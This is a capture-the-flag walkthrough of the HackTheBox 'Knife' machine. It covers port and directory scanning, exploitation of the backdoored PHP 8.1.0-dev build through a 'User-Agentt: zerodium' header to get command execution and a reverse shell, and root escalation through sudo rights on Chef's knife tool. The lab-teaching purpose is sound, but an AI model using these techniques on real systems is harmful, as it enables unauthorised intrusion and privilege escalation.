Knife is one of the easier boxes on HTB, but it’s also one that has gotten significantly easier since it’s release. I’ll start with a webserver that isn’t hosting much of a site, but is leaking that it’s running a dev version of PHP. This version happens to be the version that had a backdoor inserted into it when the PHP development servers were hacked in March 2021. At the time of release, just searching for this version string didn’t immediately lead to the backdoor, but within two days of release it did. For root, the user can run knife as root. At the time of release, there was no GTFObins page for knife, so the challenge required reading the docs to find a way to run arbitrary code. That page now exists.

Box Info

Name Knife Knife
Play on HackTheBox
Release Date 22 May 2021
Retire Date 28 Aug 2021
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Knife
Radar Graph Radar chart for Knife
First Blood User 00:13:43jkr
First Blood Root 00:19:31jkr
Creator MrKN16H7



nmap found two open TCP ports, SSH (22) and HTTP (80):

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.91 ( ) at 2021-05-22 15:11 EDT
Nmap scan report for
Host is up (0.022s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

oxdf@parrot$ nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.91 ( ) at 2021-05-22 15:11 EDT
Nmap scan report for
Host is up (0.018s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.39 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 Focal.

Website - TCP 80


The site is for a medical group:


That’s the entire page. There is nothing on the page to interact with.

Tech Stack

I can take a couple guesses at what page / is, and it seems that index.php loads the same page, so it’s safe to assume the site is PHP based. The response headers confirm this:

HTTP/1.1 200 OK
Date: Sat, 22 May 2021 19:30:15 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Length: 5815
Connection: close
Content-Type: text/html; charset=UTF-8

The PHP version is important to note here. It is not uncommon for PHP to report it’s version like this.

Directory Brute Force

I’ll run feroxbuuster against the site:

oxdf@parrot$ feroxbuster -u -o scans/ferozbuster-root-php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💾  Output File           │ scans/ferozbuster-root-php
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Cancel Menu™
403        9l       28w      277c
[####################] - 15s    29999/29999   0s      found:1       errors:0      
[####################] - 15s    29999/29999   1974/s

There is a /server-status page, but nothing interesting.

Shell as james

Find Exploit

The X-Powered-By header gives a very specific PHP version, PHP/8.1.0-dev. Some knowledge of the news reminds me that there was an issue with the PHP source repository where it got hacked and a backdoor was inserted (ref1, ref2, lots more).

Kind of surprisingly, on release day, Googling this version didn’t turn up the news stories about this backdoor, so it took a bit more research to figure out that this version was the one associated with the backdoor. That said, two days after Knife’s release, the top link on Google mentioned the backdoor:


Today, three months after release, it fills the first page, including links from exploit-db and packetstrom with exploit scripts.

Backdoor Details

Because of how GitHub and open-source works, I can look right at the commit that adds this backdoor into the PHP codebase. The commit changes one file, ext/zlib/zlib.c, adding 11 lines of code (all in green):

image-20210827112703573Click for full size image

It’s fascinating to see others commenting on the commit, the first comment asking if the misspelling of HTTP_USER_AGENT as HTTP_USER_AGENTT was a mistake, and four lines later someone asking what it did, and someone else responding basically that’s it’s a backdoor, and how it works.

As the devs point out, to execute this backdoor, I’ll need a User-Agentt header that starts with “zerodium”, and whatever is after that will be executed as PHP code.


To test this, I’ll send the GET request over to Burp Repeater and replace the User-Agent header with the malicious one:

image-20210522154141823Click for full size image

It runs system("id") and the result is at the top of the response.


I’ll replace id with a reverse shell, and run it again.


The response just hangs, but at nc, I’ve got a shell:

oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 55806
bash: cannot set terminal process group (933): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade with the normal trick:

james@knife:/$ python3 -c 'import pty;pty.spawn("bash")'
python3 -c 'import pty;pty.spawn("bash")'
james@knife:/$ ^Z
[1]+  Stopped                 nc -lnvp 443 
oxdf@parrot$ stty raw -echo ; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

And grab the user flag:

james@knife:~$ cat user.txt

Shell as root


When trying to escalate on Linux, always check sudo -l:

james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

james can run knife as root.


Chef is an automation/infrastructure platform:

Chef Infra is a powerful automation platform that transforms infrastructure into code. Whether you’re operating in the cloud, on-premises, or in a hybrid environment, Chef Infra automates how infrastructure is configured, deployed, and managed across your network, no matter its size.

knife is a command line tool manage Chef. According to the docs, it manages aspects of Chef such as:

  • Nodes
  • Cookbooks and recipes
  • Roles, Environments, and Data Bags
  • Resources within various cloud environments
  • The installation of Chef Infra Client onto nodes
  • Searching of indexed data on the Chef Infra Server


While GTFObins has a page for knife, it didn’t when Knife released, leaving me to comb the docs. There are several ways to get execution through knife. I’ll show two.

vim Escape

Running knife data bag create 0xdf output -e vim will open a new bag in vim:


I’ll escape vim with :!/bin/bash:



More simply, knife has an exec command that will run Ruby code. This is the technique now on GTFObins, but it wasn’t there when Knife released. There was a GTFObins page on Ruby that shows running sudo ruby -e 'exec "/bin/sh"'. The Ruby code there is exec "/bin/sh". Using the same Ruby code here works:

james@knife:~$ sudo knife exec -E "exec '/bin/bash'"         

This one is actually cool because I can run it through the PHP vuln and get both flags in one command: